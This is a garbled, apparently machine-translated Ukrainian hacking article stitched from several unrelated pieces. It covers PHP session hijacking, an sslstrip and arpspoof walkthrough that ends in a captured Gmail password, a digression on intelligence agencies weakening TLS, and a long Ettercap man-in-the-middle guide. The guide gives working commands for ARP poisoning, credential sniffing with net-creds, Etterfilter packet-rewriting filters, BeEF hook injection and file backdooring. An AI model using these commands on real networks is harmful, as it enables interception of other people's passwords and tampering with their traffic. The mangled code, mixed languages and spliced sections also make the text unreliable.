Easy Hack: Хакерські секрети найпростіших речей. Інструкція по Ettercap: атака людина-посередині (MitM), перехоплення паролів, обхід HSTS, підміна даних на льоту, використання фільтрів і плагінів, підчеплення на BeEF, зараження бекдорами.

Способи злому та захисту сесії від крадіжки

Більшість сайтів в Інтернеті відкрито для зовнішніх впливів з боку хакерів. Навіть масштабні дорогі інтернет проекти зламують: залишають сліди або забирають базу даних. В результаті страждає власник ресурсу, а також відвідувачі.

Щоб уникнути проблем злому, потрібно виконати ряд заходів під час розробки. Деякі профілактичні дії слід проводити в процесі роботи сайту.

У минулих статтях я показав, як виконуються сервери, а так. Сьогодні мова піде про перехоплення та захист сесій зломщиками.

PHP – напевно, найпоширеніша серверна мова програмування для сайтів. У php сесія сайту стартує за допомогою команди session_start(). Перед стартом можна вказати додаткові параметри. У сесії зазвичай зберігають важливу особисту інформацію про користувача: логін, ім'я, пароль.

Є 2 способи зберігання ідентифікатора сесії: у куках та в адресному рядку. Перший варіант більш надійний, ніж другий, проте обидва піддаються злому тією чи іншою мірою. Цей видзлому називається перехоплення сесії.

Нехай ідентифікатор зберігається у урлі сайту. Залогінений відвідувач, гуляючи сторінками вашого сайту, вирішує з кимось. Публікуючи посилання, він віддає посилання зі своїм ідентифікатором сесії. Якщо на сайті відсутні додаткові методи захисту, то, перейшовши за таким посиланням, новий відвідувач вже буде залогінений під першим користувачем, якщо сесія ще не закінчилася. Далі роби на сайті що хочеш у дозволених правилами рамках.

З куками справи складніші, але теж усе досить легко перехоплюється. Багато сайтів під час публікації інформації користувачами не фільтрують браузерні скрипти. Потенційний зломщик розміщує такий скрипт на сторінці. Закладений відвідувач заходить на сторінку… Скрипт зчитує значення кук або адресний рядок та передає ідентифікатор сесії на інший сайт. Інший сайт належить хакеру. Далі все просто. Підробляється кука або вводиться адреса сторінки сайту із потрібним ідентифікатором сесії.

При старті сесії у часовій директорії створюються файли сесії. У цих файлах зберігається інформація. Якщо використовується , то зазвичай тимчасова папка для зберігання сесій загальна у всіх сайтів на сервері. Далі певним чином виконується зчитування даних сесії своїм скриптом. Для цього зловмисник повинен мати обліковий запис на цьому ж сервері. В результаті, якщо в сесії зберігається пароль від сайту або номер кредитки з кодом cvv, то все це корисна інформаціяпотрапить до рук зловмисника.

• Зберігати сесію у куках. Складніше відвести.
• Прив'язувати сесію до IP-адреси комп'ютера. При заході з іншого IP створюється нова сесія залежно від налаштувань скрипта.
• Прив'язувати сесію до користувача агенту браузера. Під час заходу з іншого браузера сесія обнулюється.
• Шифрувати параметри, що передаються в сесію. Якщо зловмисник отримає файл сесії, він не зможе його прочитати. Хоча за наявності певних навичок, розшифрувати сесію також можливо.
• Зберігати ідентифікатори сесії в окремій папці. У php для цього існує команда session_save_path ($ path_to_dir). Це ж налаштування можна прописати у файлі php.ini. Параметр називається session.save_path.
• Використовувати session_set_save_handler() у php для перевизначення способу зберігання сесії. А починаючи з PHP 5.4 можна передати об'єкт типу SessionHandlerInterface у session_set_save_handler().

Покажу та розповім як за допомогою утиліти sslstrip перехопити дані, що передаються по захищеному SSL-з'єднанню.
Утилітка sslstrip у моєму прикладі (після проведення атаки типу ARP-spoofing на жертву) перехопить запит веб-клієнта жертви на встановлення захищеного SSL-з'єднання і змусить його використовувати незахищений. протокол HTTP. Далі я просто підгляну те, що робить жертва, яка не звернула увагу на те, що вона читає пошту не за HTTPS, а за HTTP.

Ви переконаєтеся в тому, як просто можна організувати атаки типу MITM на SSL шляхом техніки arp-spoof і проги sslstrip.

У моєму прикладі жертва - віртуалка з ІПом 10.10.11.163 (звичайна тачка з віндою), ПК з якого я атакую ​​- 10.10.11.85 із встановленою ОС Kali та з sslstrip (ця утиліта встановлена ​​в пентестерських дистрибутивах Kali. Між нами шлюз із ІПом 10.10.11.1.

1. При заході жертви на gmail.com її кидає на https://gmail.com і це нормально. Природно, паролі та логіни до пошти жертви ми у відкритому вигляді не бачимо.

2. Включаю маршрутизацію трафіку на ПК з Калі:

echo "1" > /proc/sys/net/ipv4/ip_forward

і налаштовую iptables таким чином, щоб весь http-трафік прямував на порт 81:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 81

arpspoof -i eth0 -t 10.10.11.163 10.10.11.1

тепер трафік жертви ходить через мою тачку і (відповідно до мого правила iptables) форвардиться на 81 порт.

3. Запускаю sslstrip

sslstrip -a -l 81 -w /root/Desktop/ssllog.txt

це створить файлик лога прямо на робочому столі і почне писати в нього перехоплений http-трафік (власне, перехоплюватися буде HTTPS, але він буде strip"атися). Ну втім, запускаю на консолі перегляд цього файлика:

tail -f /root/Desktop/ssllog.txt

4. Жертва йде на свою пошту

Для читання пошти жертва як завжди лізе до MS Explorer (хеха) і вводить там gmail.com. Але браузер чомусь не перекидає жертву на https (в адресному рядку http)! На малюнку нижче зображено те, що побачить жертва в останню мить перед тим, як я впізнаю її пароль і логін.

Жертва цокає "Увійти" ... а на моєму віконці, куди виводився перехоплений трафік я бачу наступне:

Як видно, пароль 1q2w3e4r5t6y ...

Щоб уникнути загроз, пов'язаних з перехопленням початку SSL-з'єднання, треба:
- не юзати гаджети в недовірених мережах, навіть якщо це дуже треба (лиходій може влаштувати MITM з набагато більшою ймовірністю, скажімо, в аеропорту шляхом установки rogue wireless access point, ніж ламанув корпоративну мережувашої організації);
- шифрувати пошту симетричними протоколами шифрування (пишу і думаю про PGP);
- платити нормальну зарплату адміну щоб у нього не виникало бажання шпигувати за вашими співробітниками таким чином;
- стежити за ARP-таблицею та юзати обладнання/софт, яке відстежує подібні атаки;
- регулярно оновлювати програмне забезпечення з довірених легальних джерел.

Пам'ятайте, що стаття ілюструє те, що заборонено законом і наведені приклади з метою показати простоту організації атак на SSL в виключно освітніх цілях.

В останні роки відбувається перелом тренду у стратегії атак спецслужб на найважливіший для Інтернету протокол безпеки TLS/SSL. Відтепер пряма криптографічна атака та злом — уже не тільки крайня, але найчастіше не потрібна в рамках сучасного світуміра, де головною рушійною силою стають гроші та фінансовий зиск.

Зважаючи на важливість цієї проблематики в рамках серії публікацій сайт пропонує огляд безпеки стеку протоколів TLS/SSL, паралельно розглянувши послідовні та систематичні стратегії послаблення цих протоколів з боку спецслужб.

Третина захищеного трафіку у світі згенеровано криптографічними засобамиіз свідомо ослабленим ДПСЧ?

Як затравку звернемося до російського прикладу — останнього судового засідання у справі колишнього власника платіжної системи Chronopay Павла Врубльовського, звинуваченого в DDoS-атаці проти «Аерофлоту».

Суть ключового сюжету зводилася до того, що суд зажадав внутрішнє листування між учасниками цього кримінального процесу, яке вони вели через особисті облікові записи у Facebook. Незважаючи на те, що там містилася найважливіша викривальна інформація, підступна американська соціальна мережане почула прохання російського правосуддя і відмовила у доступі до приватного листування громадян РФ. І тут відбувається цей драматичний перелом у цій історії — ФСБ у виконанні рішення суду самостійно «добуває» листування цих громадян.

«ЦИБ ФСБ, у відповідність до Закону «Про оперативно-розшукову діяльність» здійснив самостійне знімання інформації з каналів зв'язку зазначених осіб і записав її на DVD-диск».

Справді, згодом сторона захисту змогла переконатися, що необхідне особисте листування було «вилучено з мережі повною мірою та обсягом» всупереч волі Facebook. При цьому самі фігуранти цієї справи заперечували надання слідству своїх паролів і листування, що викриває себе. У Рунеті можна знайти кричущі заголовки новин типу «ФСБ Росії зламало сервери Facebook», але не слід забігати з висновками настільки далеко.

По-перше, всі сеанси зв'язку з Facebook здійснюються виключно за захищеним протоколом зв'язку HTTPS. По-друге, з моменту останніх контактів підсудних та цього рішеннясуду (і, отже, слідчих дій ФСБ щодо виконання цього рішення) пройшло досить багато часу. З якого такого "каналу" можна було "зняти" ці "дані з минулого", якщо самі фігуранти в мережу з того часу не виходили, перебуваючи під слідством?

Ці прямі питання, поставлені на суді до представників ФСБ, вони проігнорували. Найбільш очевидна версія відповіді напрошувалася сама: HTTPS-трафік з даним листуванням був заздалегідь прокиданий/збережений ФСБ і якимось чином згодом зламаний.

Цікаво, що раніше у матеріалах цієї справи зафіксовано майже аналогічний випадок. ЦИБ ФСБ, цитуючи протокол слідства, "шляхом збереження та аналізу трафіку інтернет-підключення одного з обвинувачених відновив логін і пароль від панелі управління ботсети" (фізично розташованої на сервері в США), після чого перехопив віддалений контроль над цим ботнетом. Так ось, доступ до тієї самої веб-панелі здійснювався звинуваченим знову ж таки виключно за зашифрованим HTTPS-з'єднанням з дотриманням запобіжних заходів (наприклад, без збереження паролів на своєму локальному комп'ютері).

Таким чином констатуємо наявність проблем з безпекою HTTPS, наводячи разючі випадки подолання «захисту» TLS/SSL з боку російських спецслужб.

Щоб зламати зашифровану HTTPS-сесію, потрібно вирішити дві головні завдання: мати можливість прослуховувати (перехоплювати) трафік, а також зуміти розшифрувати інкапсульовані в такий захищений пакет дані.

На першому моменті докладно зупинятись не будемо, оскільки фізичний доступдо практично будь-яких каналів спецслужби мають. Ті, хто стежить за останніми новинами «СОРМобудування», вже знають, що відповідно до нового закону з 1 липня 2014 р. всі російські провайдери зобов'язані встановити на свої мережі спецобладнання для запису та зберігання свого транзитного інтернет-трафіку в повному обсязі на термін щонайменше 12 годин. Причому силовики отримають прямий доступ до всіх збережених і транзитних масивів даних.

Gmail мені пише: "Можливо, ваш обліковий запис або комп'ютер зазнав впливу з боку хакерів, що підтримуються певними державами"

- Roman Dobrokhotov (@Dobrokhotov) September 9, 2014

Якщо ж говорити про прослуховування HTTPS-сесій, то відразу зазначимо важливий момент— необхідність «активного режиму» прослуховування в деяких випадках, оскільки збережений трафік не завжди може бути зламаний пізніше. Йдеться про так званий режим прогресивної секретності (forward secrecy, FS) для протоколу HTTPS, який запобігає можливості відновлення даних після закінчення сеансу зв'язку (навіть якщо згодом зловмисник зможе отримати валідні ключі сайту). Наявність такого режиму зобов'язує зловмисника «кувати залізо поки що воно гаряче» - тобто зламувати дані в режимі реального часу, що в переважній більшості випадків навряд чи технічно можливо.

Погана новина полягає в тому, що Facebook, як і більшість інших великих інтернет-порталів, не використовують режим forward secrecy тому, що він створює додаткове серйозне навантаження для і так перевантаженої соціальної махини. Крім того, використання подібних сучасних DH-алгоритмів може негативно впливати на сумісність з деякими популярними браузерами. Тепер легко зрозуміти, чому згідно зі статистикою Netcraft станом на літо 2013, приблизно 70-99% спостережуваних у рамках цього моніторингу SSL-з'єднань взагалі не використовували FS.

Тобто, в переважній більшості випадків зловмисник може спокійно зберігати ваш HTTPS-трафік для його подальшого колупання та злому (наприклад, коли стане відомий приватний серверний ключ).

Вище показаний вимір падіння продуктивності на 6-ядерному процесорі веб-сервера з увімкненим і відповідно вимкненим режимом DHE. DHE обраний як найпопулярніший та зразковий приклад реалізації Perfect Forward Secrecy. Наприклад, компанія Google, сервіси якої підтримують практично всі крипто-інновації та засоби захисту своїх користувачів (це яскравий виняток із загальної інтернет-практики), реалізує недовговічні (ефемерні) сеансові ключі PFS якраз на базі ECDHE_RSA. І це дуже, дуже дороге задоволення, повірте!

Враховуючи це зауваження, вважатимемо, що з перехопленням трафіку все більш-менш ясно. Тепер розглянемо, що робити далі із збереженим шифрованим потоком.

Звісно ж, загальний алгоритм у цьому випадку виглядатиме приблизно так: при перехопленні трафіку HTTPS-сесії, що цікавить, гіпотетичними спецслужбами їх інформаційна системаотримує запит пошуку відповідного серверного ключа до бази даних. Якщо такий ключ не знайдено, він ставиться у чергу на подальше обчислення (злом). З урахуванням зауваження про фактичну недоступність опції FS, трафік, що цікавить, завжди є сенс мовчки накопичувати (записувати), не чекаючи реакції системи про готовність/доступність ключа для дешифрування в режимі реального часу.

Щодо згаданої бази даних із серверних ключів, то ще влітку 2013 року видання Cnet опублікувало інформацію та документ-приклад запиту АНБ на адресу великої інтернет-компанії, яка побажала залишитися невідомою. Згідно з цим джерелом стало відомо, що такі самі запити отримували на свою адресу й інші великі інтернет-майданчики (Google, Microsoft, Apple, Yahoo, AOL, Verizon, AT&T та ін.). Cnet офіційно звернулося до цих організацій з проханням прокоментувати факт подібного запитуАле в переважній більшості випадків компанії відмовилися як підтвердити, так і спростувати таку взаємодію з АНБ.

«В черговий раз витираю ноги об міф, що відкритість вихідних джерел – це шлях до надійності. Цій помилці в Debian OpenSSL було майже два роки».

Справді, закрити цю вразливість вдалося лише після зчиненого шуму в пресі. Сам же проект Debian назвав ситуацію з давнім багом у своєму репозиторії OpenSSL «досить дивною історією».

Якщо ж говорити про горезвісні апаратні «закладки», то останнім часом вони розцвіли буйним кольором уже в найнесподіваніших місцях: від прасок до кавоварок. Так за даними Spiegel, спеціальне управління АНБ «Операції спеціального доступу» (Tailored Access Operations, TAO) тривалий час здійснювало масове перехоплення купленого різними компаніями і країнами комп'ютерного (і не тільки) обладнання на шляху від постачальника до адресата. При цьому перехоплене обладнання, відвантажене АНБ, що цікавить замовнику, оперативно проходило через секретну «фабрику» TAO, де в нього впроваджувалося модифіковане ПЗ або «жучки». Таке втручання у процес поставок у своїх цілях, яке позначається спецтерміном «інтердикція», оцінювався самої АНБ як один із «найефективніших видів сучасних операцій».

NSA плани до впливу потенційно мільйонів комп'ютерів з malware as part of its Tailored Access Operations

Альтернативи Ettercap

Ettercap є самою популярною програмоюдля атаки людина-посередині, але чи є вона найкращою? Протягом усієї інструкції ви бачитимете, що Ettercap майже ніколи не використовується поодинці, що завжди та чи інша програма вибудовується з нею в ланцюжок з обробки трафіку. Можливо, це додає гнучкості, взагалі такий підхід лежить в основі UNIX- одна програма виконує одне завдання, а кінцевий користувач комбінує різноманітні програми задля досягнення бажаного результату. При такому підході код програм легше підтримувати, з таких мініатюрних «цеглинок» можна побудувати систему будь-якої складності та гнучкості. Тим не менш, мати п'ять відкритих консолей з різними завданнями, робота програм яких спрямована для досягнення одного єдиного результату - це не дуже зручно, це просто складніше, є можливість припуститися помилки на якомусь етапі, і вся налаштована система відпрацює вхолосту.

Net-Creds сніфіт:

• Відвідані URL
• надіслані запити POST
• логіни/паролі з форм HTTP
• логіни/паролі при базовій HTTP аутентифікації
• пошуки HTTP
• логіни/паролі FTP
• логіни/паролі IRC
• логіни/паролі POP
• логіни/паролі IMAP
• логіни/паролі Telnet
• логіни/паролі SMTP
• SNMP community string (загальний рядок)
• всі підтримувані протоколи NTLMv1/v2 на кшталт HTTP, SMB, LDAP тощо.
• Kerberos

Хороша добірка перехоплюваних, а driftnet у цьому плані простіше - лише показує перехоплені зображення.

Переключіть машину в режим пересилання (форвардингу).

Echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаємо Ettercap з графічним інтерфейсом(-G):

Ettercap-G

Тепер вибираємо Hosts, у ньому підпункт Scan for hosts. Після закінчення сканування виберіть Hosts list:

В якості Цілі1 виберіть роутер (Add to Target 1), як Цілі2 виберіть пристрій, який будете атакувати (Add to Target 2).

Але тут може виникнути перша затримка, особливо якщо хостів багато. У різних інструкціях, у тому числі у відео представленому вище, автори лізуть у цільову машину (у всіх, чомусь там Windows) і за допомогою команди дивляться IP даної машини в локальної мережі. Погодьтеся, такий варіант є неприйнятним для реальних умов.

Якщо провести сканування за допомогою , то можна отримати деяку додаткову інформацію про хостів, точніше кажучи, про фірму виробника мережевої карти:

Nmap -sn 192.168.1.0/24

Якщо даних все одно недостатньо, можна зробити сканування з визначенням ОС:

Nmap -O 192.168.1.0/24

Як бачимо, машина з IP 192.168.1.33 виявилася Windows, якщо це не знак згори, тоді що це? 😉 LOL

Саме її ми і додаємо як другу мету.

Тепер переходимо до пункту меню Mitm. Там виберіть ARP poisoning… Поставте галочку на Sniff remote connections.

Починаємо збирати врожай, в одному вікні запускаємо

Net-creds

в іншому (обидві програми можна запускати без опцій)

Driftnet

Відразу пішов збір даних:

У правій частині driftnet відкрило ще одне вікно, де показує перехоплені зображення. У вікні net-creds ми бачимо відвідувані сайти та перехоплені паролі:

У меню View нам доступні вкладки Connections та Profiles. Також можна поставити галочку на Resolve IP addresses (перетворювати IP-адреси). Connections – це, зрозуміло, з'єднання. Ettercap збирає у пам'яті профілі для кожного хоста, який він виявив. Там збираються користувачі та паролі. При цьому профілі із захопленими даними облікового запису (паролями), позначаються хрестиком:

Не треба надто сильно покладатися саме на профілі - позначаються, наприклад, перехоплені логіни та паролі для FTP та інших сервісів, для яких отриману інформацію програма однозначно може інтерпретувати як облікові дані. Сюди не потрапляють, наприклад, дані базової автентифікації, введені логіни та паролі до веб-форм.

У Connections найперспективніші дані позначені зірочкою:

Можна клацнути двічі на ці записи для перегляду подробиць:

Щоб не шукати ці зірочки по всьому списку, можна зробити сортування цим полем і всі вони виявляться нагорі або внизу:

Спіймана базова автентифікація:

Логін-пароль для Яндекса (виділено внизу):

Це перехоплені облікові дані для Вконтакте:

Також найцікавіші дані збираються у нижній консолі:

Якщо ви хочете зберігати результати роботи програми, скористайтеся цими опціями (вказуйте ключі при запуску Ettercap:

Опції ведення журналів: -w, --write записати перехоплені дані в pcapfile -L, --log записати весь трафік у цей -l, --log-info записати тільки пасивну інформацію в цей -m, --log-msg записати все повідомлення в цей -c, --compress використовувати стиснення gzip для файлів логів

Примітка: При всіх тестуваннях у мене не заробили фільтри Ettercap. Важко зрозуміти, справа в руках, в особливостях обладнання або в помилці в самій програмі ... Але для версії 0.8.2 (останньої на даний момент), є баг репорт про проблеми з фільтрами. Взагалі, судячи з баг репортів та форумів, фільтри або відвалюються часто, або взагалі вже давно не працюють. Є гілка, куди внесено зміни 5 місяців тому https://github.com/Ettercap/ettercap/tree/filter-improvements, тобто. filter-improvements (з поліпшенням фільтрів). І для цієї гілки і для версії з репозиторію було зроблено найрізноманітніші тести, випробувано різноманітні фільтри в різних умовах, витрачено багато часу, але результату немає. До речі, для встановлення версії filter-improvements у Kali Linux потрібно зробити так:

Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filtr-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir =On ../ make sudo make install

Загалом, якщо у вас фільтри не заробили - ви не самотні. В інструкції про Ettercap я не можу пропустити тему фільтрів, тому вони будуть розглянуті у будь-якому випадку.

Поки ми використовували Ettercap для ARP спуфінгу. Це дуже поверхове застосування. Завдяки фільтрам користувача, ми можемо втручатися і змінювати трафік «на льоту». Фільтри повинні утримуватися в окремих файлахі перед використанням їх потрібно компілювати за допомогою програми Etterfilter. Хоча документація, на яку дане посилання, і здається куцею, але в поєднанні з прикладами, наведеними нижче, вона дозволить писати досить цікаві фільтри.

Давайте створимо наш перший фільтр, він буде всі зображення замінювати на це:

У файл з ім'ям img_replacer.filter скопіюйте:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( replace("Accept-Encoding", "Accept-Rubbish!"); # примітка: рядок заміни такої ж довжини як і оригінальний msg("zapped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( replace("src=", " src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn. png\" "); replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); )

Скомпілюйте файл:

Etterfilter img_replacer.filter -o img_replacer.ef

Результати компіляції:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi treth 13 constants loaded: VRRP OSPF GPRP ing source file "img_replacer.filter" done. Unfolding the meta-tree done. Перетворюючи позначки на реальні offsets done. Writing output до "img_replacer.ef" done. -> Script введено в 18 інструкцій.

Ключ -F говорить програмі, що потрібно завантажити фільтр із файлу, що йде за ключем. Після компіляції ім'я нашого нового файлу з фільтром img_replacer.ef, тому команда набуває вигляду:

Ettercap -G -F img_replacer.ef

Примітка: Коли ви моніторите веб-трафік, пакети, які ви бачите, можуть проходити у закодованій формі. Для ефективної роботифільтрів, Ettercap потребує трафіку у вигляді простого тексту. За деякими спостереженнями, тип кодування, який використовують веб-сторінки, це "Accept-Encoding: gzip, deflate"

Нижче фільтр, який затирає кодування, примушуючи до спілкування у формі простого тексту:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( replace("gzip", " "); # примітка: чотири пробіли в рядку, що замінюється msg ("whited out gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "deflate"))) ( replace("deflate", " "); # примітка: сім прогалин у рядку, що замінюється msg("whited out deflate\n"); ) )

Синтаксис написання фільтрів докладно описаний, а далі ще кілька прикладів:

# заміна тексту в пакеті: if (ip.proto == TCP && search(DATA.data, "lol"))( replace("lol", "smh"); msg("filter ran"); ) # показати повідомлення , якщо tcp портом є 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # записати весь telnet трафік, також виконати./program на кожен пакет if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./logfile.log "); exec("./program"); ​​) ) # записати весь трафік, крім http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log(DATA.data , "./logfile.log"); .data + 20 = 0x4445; ) # відкинути всі пакети, що містять "ettercap" if (search(DECODED.data, "ettercap")) ( msg("some one is talking about us...\n"); drop( );kill(); ) # записати розшифровані ssh пакети, що відповідають регулярному виразу if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) # вбивство пакетів if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

Запускаємо Ettercap та Burp як це описано у пункті 1.2 або у пункті 2.2.

У Burp переходимо в Proxy -> Options. Знаходимо там Match and Replace. Натискаємо Add для додавання нового правила.

• Request header – це заголовок запиту
• Request body - тіло запиту
• Response header - заголовок відповіді
• Response body - тіло відповіді
• Request param name – Ім'я параметра запиту
• Request param value - Значення параметра запиту
• Request first line - Перший рядок запиту

Якщо необхідно змінити дані, передані шляхом GET, це стосується заголовків.

У HTML розмітцітакож є таке поняття, як head (тег head). До цього заголовку ті, про які сказано трохи вище, не мають жодного стосунку. Трохи вище йдеться про заголовки пакетів. Якщо ви хочете змінити вміст HTML сторінки, то потрібно замість Request header завжди вибирати Response body, навіть якщо ви збираєтеся змінювати вміст head head (наприклад, заголовок).

Якщо ви не знайомі з регулярними виразами, то, в принципі, нічого страшного: HTML багато прощає, і те, що йому незрозуміло, він просто ігнорує - цим можна користуватися. Якщо ж ви вмієте користуватись регулярними виразами, то я вас поважаю.)))

Наприклад створимо нове правило, Request header змінюємо на Response body. У самому правилі ми мінятимемо

.*

No Title

Поставте галочку на Regex match.

Тепер на всіх сайтах (без HTTPS) замість заголовка буде No Title:

Вставляємо довільний рядок після тега body (буде першим рядком у тексті). Request header змінюємо на Response body. Змінюємо

Поставте галочку на Regex match.

У верхньому правому кутку (залежить від верстки) з'являється напис «I am cool!». Можна вставляти CSS, JavaScript код, будь-який текст - будь-що. Можна взагалі все зі сторінки видалити, а потім заповнити її своїм вмістом – все залежить від вашої фантазії.

Була ідея трохи модифікувати кожну форму, щоб дані відправлялися на оригінальний сервер і сервер атакуючого (реалізувати мульти submit для кожної форми). Але розсудивши, що якщо дані, що передаються, не зашифровані і ми маємо до них доступ - то ми і так їх бачимо, ні на який сервер їх відправляти не потрібно. Тим не менш, якщо комусь знадобиться, реально працюючий приклад відправки даних з однієї форми відразу на кілька серверів.

Щоб почати використовувати можливості BeEF, нам потрібно впровадити в HTML код JavaScript файл, зазвичай це рядок виду:

Наступні два способи відрізняються лише шляхом застосування цього рядка.

[розділ буде підготовлено пізніше]

Почати потрібно точно так, як написано в пункті 4.2. Тільки замість заміни заголовків та додавання тексту на сайт ми впровадимо JavaScript код у вигляді рядка:

У моєму випадку цей файл доступний на IP 192.168.1.36 на порту 3000. Файл так і називається hook.js (можна змінити налаштування). Тобто. у моєму випадку мені потрібно ввести рядок:

Це можна зробити, наприклад, створення нового правила, Request header змінюємо на Response body. У самому HTML коді має відбуватися заміна

Відмінно, при відкритті будь-якого сайту, який без HTTPS, в HTML код вставляється JavaScript код, який дозволяє через підчеплений браузер збирати інформацію та проводити різноманітні атаки:

Підміняти і заражати файли можна як за допомогою фільтрів Ettercap [які з якоїсь причини вже давно не працюють], так і за допомогою сторонніх додатків. Наприклад, на льоту це вміє робити BDFProxy. На жаль, BDFProxy досі не може оговтатися від квітневого (у 2016 році) оновлення Backdoor Factory: у Python пакет libmproxy був перейменований на mitmproxy. Для BDFProxy пакет libmproxy є необхідною залежністю, без цього пакета програма не запускається. Тому тепер, до «ремонту» BDFProxy, використовувати її не виходить, адже навіть за встановленого Backdoor Factory, програма BDFProxy скаржиться на відсутність бібліотеки libmproxy…

Аналогічну операцію можна виконати і з Burp Suite. Покроковий алгоритм представлений , немає сенсу вкотре його переписувати у розділ.

Інформацію про плагіни Ettercap можна знайти. Плагінів досить багато, мені найцікавішими здаються ті, що описані нижче.

Плагіни можна підключити при запуску Ettercap, для цього є опція:

P, --plugin запустити цей

Також плагіни можна завантажити з графічного інтерфейсу:

[МАТЕРІАЛ У ПРОЦЕСІ ПІДГОТОВКИ]

Він повідомляє про підозрілу ARP активність пасивним моніторингом ARP запитів/відповідей. Він може повідомляти про спроби травлення ARP або прості IP-конфлікти або IP-змін. Якщо ви будуєте початковий список хостів, то плагін працюватиме точніше.

Ettercap -TQP arp_cop //

Приклад реального виявлення ARP спуфінгу:

Розгорнути

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Опубліковано: eth0 -> 08:00:27:A3:08:4A 255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection потребує valid "redir_command_on" script в etter.conf file mac vendor fingerprint 1766 tcp OS fingerprint 2182 відомі послуги Randomizing 255 hosts for scanning... Scanning whole netmask for 255 hosts... * |===================== =============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Опубліковано: eth0 -> 08:00:27:A3:08:4A 255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection потребує valid "redir_command_on" script в etter.conf file mac vendor fingerprint 1766 tcp OS fingerprint 2182 відомі послуги Randomizing 255 hosts for scanning... Scanning whole netmask for 255 hosts... * |===================== =============================>| 100.00 % 3 hosts added to the hosts list... Запустити Unified sniffing... Text only interface activated... Hit "h" для власної Help Activating arp_cop plugin... arp_cop: plugin running... arp_cop: (new host ) 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1.1.1. s to be 192.168.1.1 arp_cop: (WARNING ) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.6. NING) 192.168.1.35 pretends to be 192.168 .1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) arp_cop: (WARNING) 68.1.1 arp_cop: (WARNING) 192.168 .1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192. 68.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 19.1. 1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.8.1.8.1.8.1. 5 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.161.1. : (WARNING) 192.168.1.35 pretends to ru 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop ru 192. 168.1.1 arp_cop: (WARNING) 